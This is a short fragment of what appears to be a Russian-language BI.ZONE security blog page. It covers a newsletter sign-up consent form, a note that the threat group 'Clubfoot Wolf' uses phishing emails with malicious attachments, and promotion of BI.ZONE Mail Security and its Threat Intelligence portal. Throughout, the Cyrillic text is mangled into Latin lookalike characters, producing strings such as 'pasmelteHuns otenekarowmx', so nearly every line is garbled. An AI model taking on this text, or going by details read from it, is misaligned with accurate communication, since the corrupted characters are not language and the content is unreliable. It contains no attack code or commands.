Ouck» ansa pasmelteHuns otenekarowmx PDF-gokymeHTOoB

He nponycTuTe HOBblE Yrpo3bl — NOoAMNWINTECH HA CTaTb O HUX

£ patocornacue Ha nornyveHve MHAPOPMaLMOHHbLIX U pekrnaMHbix pacceinok BI.ZONE,
a Takkecornacme Ha 06paboTky nepcoHanbHbIX aHHbIX AN MNONyYeHUs TakMX paccbiyiok
B COOTBETCTBUN C[1ONUTUKOWN KOHhnaeHUMANbHOCTH *

* ObsizaTenbHoe none
Kak 3aluTnTb KOMMNaHuio oT NogoOHbIX aTak

Clubfoot Wolf akTnBHO Mcnonb3yeT B aTakax PULLMHIOBbIE NUCbMa C BPe4OHOCHbIMU
BMOXEHUSIMU, @ TaKKe perynspHo 3MeHsIeT NnpuMMeHsieMble TeXHUKn. OCTaHOBUTb Takne nucbma
Ha Bxoae B nepumeTp nomoraeT BL.ZONE Mail Security. PewweHne npumeHsiet 6onee 100
MEeXaHNU3MOB OUNbTPALUN C UCMOSTb30BAHNEM CTaTUCTUYECKOrO, CUrHATYPHOrO,
NUHIBUCTMYECKOIO, KOHTEHTHOIO, 3BPUCTUYECKOro aHanmnsa, YARA-npaBun n MaluMHHOIO 3peHUs.

[ononHutensHO paboTatoT Heckonbko Al-Moaenen, a Takke BCTpOEHa 3allmTa oT neTenb
B aBTOOTBETaX CepBEPOB 1 bounce-coobLeHnn. DTO NO3BONSET OTCENBATbL HEXenaTerbHble
nMcbMa, He 3afepXxmMBasi 4OCTaBKY NIErMTUMHOW MOYThI.

UTo6bl AencTBOBaTb MPOAKTUBHO M NpegoTBpaLLaTb pa3BuTUe atak, BaXHO 3HaTb METOAbI
N MHCTPpyMeHTapui 3noymblwneHHukoB. MNoptan BL.ZONE Threat Intelligence npepoctasnser

aKkTyanbHble AaHHble 06 aTakylLMX, UX TaKTUKaX, TEXHUKaX U UCMONb3yeMbIX MHCTPYMEHTaX,
a Takke pekoMeHAaummn no o6HapyXeHuto yrpo3. To NOMOraeT KOMMNaHUAM UHTErPUPOBATb
knbeppasBeadaHHble B NPOLIECCHI 3alUMThI OT aTak U NpeaoTBpallaTb MHUWOEHTbI.
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